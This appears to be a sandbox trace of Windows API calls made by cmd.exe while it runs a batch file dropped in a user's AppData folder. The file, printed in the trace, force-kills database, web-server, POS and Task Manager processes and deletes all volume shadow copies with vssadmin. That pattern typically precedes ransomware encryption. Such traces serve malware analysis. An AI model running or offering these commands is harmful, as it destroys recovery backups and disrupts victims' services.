[0081.011] _close (_FileHandle=3) returned 0 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0081.011] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0081.012] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0081.012] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0081.012] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0081.013] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0081.013] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0081.013] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0081.015] CloseHandle (hObject=0x78) returned 1 [0081.015] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0081.015] GetEnvironmentStringsW () returned 0x4b3fa0* [0081.015] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0081.015] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0081.485] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0081.486] CloseHandle (hObject=0x74) returned 1 [0081.486] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0081.486] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0081.486] GetEnvironmentStringsW () returned 0x4b3fa0* [0081.486] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0081.486] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0081.486] GetEnvironmentStringsW () returned 0x4b3fa0* [0081.486] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0081.486] DeleteProcThreadAttributeList (in: lpAttributeList=0x1eec48 | out: lpAttributeList=0x1eec48) [0081.486] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0081.486] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0081.486] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0081.486] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0081.486] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0081.486] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0081.486] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0081.486] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0081.487] SetConsoleInputExeNameW () returned 0x1 [0081.487] GetConsoleOutputCP () returned 0x1b5 [0081.487] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0081.487] SetThreadUILanguage (LangId=0x0) returned 0x409 [0081.487] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0081.487] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0081.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0081.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=161, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa1 [0081.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0081.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa1 [0081.487] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x5cf, lpOverlapped=0x0) returned 1 [0081.488] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1487, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM CodeMeter.exe /IM CodeMeter.exe \nTASKKILL /F /IM fbserver.exe /IM fbserver.exe \nTASKKILL /F /IM fdhost.exe /IM fdhost.exe \nTASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe \nTASKKILL /F /IM GLDS.exe /IM GLDS.exe \nTASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1487 [0081.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0081.488] GetFileType (hFile=0x74) returned 0x1 [0081.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0081.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=-1438, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd2 [0081.489] _tell (_FileHandle=3) returned 210 [0081.489] _close (_FileHandle=3) returned 0 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0081.489] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0081.490] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0081.490] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0081.490] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0081.490] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0081.490] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0081.490] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0081.490] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0081.490] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0081.490] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0081.493] CloseHandle (hObject=0x74) returned 1 [0081.493] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0081.493] GetEnvironmentStringsW () returned 0x4b3fa0* [0081.493] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0081.493] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0082.018] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0082.018] CloseHandle (hObject=0x78) returned 1 [0082.018] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0082.018] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0082.018] GetEnvironmentStringsW () returned 0x4b3fa0* [0082.018] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0082.018] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0082.018] GetEnvironmentStringsW () returned 0x4b3fa0* [0082.018] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0082.018] DeleteProcThreadAttributeList (in: lpAttributeList=0x1eec48 | out: lpAttributeList=0x1eec48) [0082.018] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0082.018] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0082.018] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0082.018] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0082.018] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0082.018] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0082.019] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0082.019] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0082.019] SetConsoleInputExeNameW () returned 0x1 [0082.019] GetConsoleOutputCP () returned 0x1b5 [0082.019] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0082.019] SetThreadUILanguage (LangId=0x0) returned 0x409 [0082.019] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0082.019] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0082.019] _get_osfhandle (_FileHandle=3) returned 0x78 [0082.019] SetFilePointer (in: hFile=0x78, lDistanceToMove=210, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd2 [0082.020] _get_osfhandle (_FileHandle=3) returned 0x78 [0082.020] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd2 [0082.020] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x59e, lpOverlapped=0x0) returned 1 [0082.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1438, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM fbserver.exe /IM fbserver.exe \nTASKKILL /F /IM fdhost.exe /IM fdhost.exe \nTASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe \nTASKKILL /F /IM GLDS.exe /IM GLDS.exe \nTASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1438 [0082.020] _get_osfhandle (_FileHandle=3) returned 0x78 [0082.020] GetFileType (hFile=0x78) returned 0x1 [0082.020] _get_osfhandle (_FileHandle=3) returned 0x78 [0082.020] SetFilePointer (in: hFile=0x78, lDistanceToMove=-1391, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101 [0082.021] _tell (_FileHandle=3) returned 257 [0082.021] _close (_FileHandle=3) returned 0 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0082.021] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0082.022] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0082.022] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b5868, lpFilePart=0x1ef260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x1ef260*="Desktop") returned 0x19 [0082.022] SetErrorMode (uMode=0x0) returned 0x1 [0082.022] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0082.022] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0082.022] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0082.023] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0082.023] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0082.023] GetLastError () returned 0x2 [0082.023] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0082.023] GetLastError () returned 0x2 [0082.023] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0082.023] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0x4b5b60 [0082.023] FindClose (in: hFindFile=0x4b5b60 | out: hFindFile=0x4b5b60) returned 1 [0082.023] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0xffffffff [0082.023] GetLastError () returned 0x2 [0082.023] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1eefdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefdc) returned 0x4b5b60 [0082.023] FindClose (in: hFindFile=0x4b5b60 | out: hFindFile=0x4b5b60) returned 1 [0082.023] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0082.023] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0082.023] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0082.024] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b3508, lpFilePart=0x1eeb4c | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x1eeb4c*="Desktop") returned 0x19 [0082.024] SetErrorMode (uMode=0x0) returned 0x1 [0082.024] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0082.024] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0082.024] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0082.024] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0082.024] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\TASKKILL.*", fInfoLevelId=0x1, lpFindFileData=0x1ee8c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ee8c8) 